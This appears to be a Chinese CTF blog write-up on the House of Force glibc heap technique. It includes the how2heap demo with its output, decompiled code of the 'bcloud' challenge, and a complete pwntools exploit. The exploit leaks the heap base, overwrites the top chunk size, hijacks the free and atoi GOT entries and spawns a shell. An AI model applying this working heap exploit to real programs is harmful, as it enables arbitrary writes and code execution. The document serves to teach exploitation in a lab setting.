House of Force 原理

一个比较有意思的利用,也是第一次对top chunk 下手,原因在于堆管理中并没有多的检查top chunk的大小问题。

我们在有机会溢出改变top chunk size的情况下,可以将其改大(eg:-1,64位下即为0xffffffffffffffff,比较时会转化为无符号数),之后不论申请多大的chunk,经比较size之后,都不会去调用mmap去分配top chunk,但我们可以通过分配足够大小的chunk使之在main_arena中top chunk的指针变换位置,也就是说,我们可以将其分配之后的chunk到我们想要的地址(eg:got表),这样我们便可以通过控制我们可以控制的指针来任意地址写。

所以最起码需要:

  1. 能够溢出至topchunk的size位
  2. 能够自由控制malloc大小

使用how2heap的例子来解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");

fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);



fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2);

fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");

/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);


// some further discussion:
// fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
// fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
// fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
// fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
// fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

// fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
// fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

// fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

运行效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Welcome to the House of Force

The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.

In the end, we will use this to overwrite a variable at 0x602060.
Its current value is: This is a string that we want to overwrite.

Let's allocate the first chunk, taking space from the wilderness.
The chunk of 256 bytes has been allocated at 0xd61f90.

Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
Real size (aligned and all that jazz) of our allocated chunk is 280.

Now let's emulate a vulnerability that can overwrite the header of the Top Chunk

The top chunk starts at 0xd62110

Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
Old size of top chunk 0x20ef1
New size of top chunk 0xffffffffffffffff

The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
Next, we will allocate a chunk that will get us right up against the desired region (with an integer
overflow) and will then be able to allocate a chunk right over the desired region.

The value we want to write to at 0x602060, and the top chunk is at 0xd62110, so accounting for the header size,
we will malloc 0xffffffffff89ff30 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0xd62110

Now, the next chunk we overwrite will point at our target buffer.
malloc(100) => 0x602060!
Now, we can finally overwrite that value:
... old string: This is a string that we want to overwrite.
... doing strcpy overwrite with "YEAH!!!"...
... new string: YEAH!!!

原理可以参考:https://bbs.pediy.com/thread-222924.htm

bcloud

回家做的第一道,看了半天没看出来漏洞。。。name的输出函数被漏掉了。。

题目

刚进去要输入name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int get_name()
{
char s; // [esp+1Ch] [ebp-5Ch]
char *name_; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
memset(&s, 0, 0x50u);
puts("Input your name:");
read_str((int)&s, 0x40, '\n');
name_ = (char *)malloc(0x40u);
name_ptr = (int)name_;
strcpy(name_, &s);
puts_(name_);
return __readgsdword(0x14u) ^ v3;
}

之后要输入Org & Host,漏洞的主力。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int get_org_host()
{
char org; // [esp+1Ch] [ebp-9Ch]
char *o; // [esp+5Ch] [ebp-5Ch]
int host; // [esp+60h] [ebp-58h]
char *h; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(&org, 0, 0x90u);
puts("Org:");
read_str((int)&org, 0x40, '\n');
puts("Host:");
read_str((int)&host, 0x40, '\n');
h = (char *)malloc(0x40u);
o = (char *)malloc(0x40u);
org_ptr = (int)o;
host_ptr = (int)h;
strcpy(h, (const char *)&host);
strcpy(o, &org); <------strcpy这里出的问题
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

进去之后就是一个创建编辑删除同步note的程序,show,syn,quit没什么用

new_note:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int new_note()
{
int result; // eax
signed int i; // [esp+18h] [ebp-10h]
int length; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i <= 9 && ptr[i]; ++i ) //最多十个
;
if ( i == 10 )
return puts("Lack of space. Upgrade your account with just $100 :)");
puts("Input the length of the note content:");
length = get_num();
ptr[i] = (int)malloc(length + 4); //大小用户定义
if ( !ptr[i] )
exit(-1);
len_[i] = length;
puts("Input the content:");
read_str(ptr[i], length, '\n');
printf("Create success, the id is %d\n", i);
result = i;
syn_inuse[i] = 0;
return result;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int edit()
{
int v1; // ST1C_4
int i; // [esp+14h] [ebp-14h]
int id_ptr; // [esp+18h] [ebp-10h]

puts("Input the id:");
i = get_num();
if ( i < 0 || i > 9 )
return puts("Invalid ID.");
id_ptr = ptr[i];
if ( !id_ptr )
return puts("Note has been deleted.");
v1 = len_[i];
syn_inuse[i] = 0;
puts("Input the new content:");
read_str(id_ptr, v1, '\n');
return puts("Edit success.");
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int delete()
{
int i; // [esp+18h] [ebp-10h]
void *ptr_; // [esp+1Ch] [ebp-Ch]

puts("Input the id:");
i = get_num();
if ( i < 0 || i > 9 )
return puts("Invalid ID.");
ptr_ = (void *)ptr[i];
if ( !ptr_ )
return puts("Note has been deleted.");
ptr[i] = 0;
len_[i] = 0;
free(ptr_);
return puts("Delete success.");
}

思路

主程序看了一遍又一遍,还是没发现任何漏洞。回头看,问题出现在前面:

name是用read读取的,结尾没有’\x00’;而输出是以读取到’\x00’为止的,那么就可以泄露堆地址。
(ps: 大概是在strcpy到指定大小的地址时,如果写入大小与目标地址大小相同,则在后面会添加目标地址的指针。具体原因目前未明)

org & host 这边的strcpy操作会自动在结尾加’\n’,结果就是在一通复制完之后,可以修改topchunk的size使之变为0xffffffff,满足houseofforce条件

之后进入程序。

计算大小将topchunk调整到bss段的len[]及ptr[]附近,欺骗程序chunk的分配。之后的思路在exp中写的很清楚

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.log_level ='debug'
sh = process('./bcloud')
elf = ELF('./bcloud')
libc = ELF('libc-2.19.so')

#-----------get heap_base------------
sh.recvuntil('Input your name:\n')
sh.send('a'*64)
#gdb.attach(sh)
sh.recvuntil('a'*64)
heap_base = u32(sh.recv()[:4])-8
print 'heap_base: '+hex(heap_base)

#---------house of force----------------!!!!!!!!!!
sh.send('b'*0x40)
#sh.recvuntil('Host:')
sh.sendline(p32(0xffffffff))
#b(0x8048978)
#gdb.attach(sh)#,'b' *0x804895e)

#------------calc malloc size----------------!!!!!!!!!!!!
topchunk_addr = heap_base + 0xd8
print 'topchunk_addr: '+hex(topchunk_addr)
len_addr = 0x0804b0a0
list_addr = 0x0804b120
target_addr = len_addr - 8
size = target_addr - topchunk_addr-4-7
print str(size)
#----------edit topchunk to size[i]--------------

sh.recvuntil('option--->>\n')
sh.sendline('1')
#sh.recv()
sh.sendline(str(size-4))
sh.recv()
sh.send('\n')

#gdb.attach(sh)
#--------------edit ptr to got_addr---------------

payload = p32(16) *3 + (list_addr-len_addr-12)*'a'
payload += p32(elf.got['free']) +p32( elf.got['atoi'])*2
#+elf.got['atoi']

sh.sendline('1')
#sh.recv()
sh.sendline('1000')
sh.recv()
sh.sendline(payload)

#gdb.attach(sh)
#sh.recv()
sh.sendline('3')
sh.sendline('0')
sh.recv()
sh.sendline(p32(elf.plt['puts']))

#---------leak atoi_addr to get system_addr-----------------
sh.sendline('4')
sh.recv()
sh.sendline('1')

#gdb.attach(sh)

atoi_plt = sh.recv()[:4]
#sh.recv()
system_addr = u32(atoi_plt) - libc.symbols['atoi'] + libc.symbols['system']

print 'system_addr: '+hex(system_addr)

#gdb.attach(sh)
#-------------edit atoi to system------------------

sh.sendline('3')
sh.sendline('2')
sh.recv()
sh.sendline(p32(system_addr))
#gdb.attach(sh)
#--------------------- get shell------------------
sh.sendlineafter('option--->>', '/bin/sh\x00')
#sh.send('/bin/sh\x00')

sh.interactive()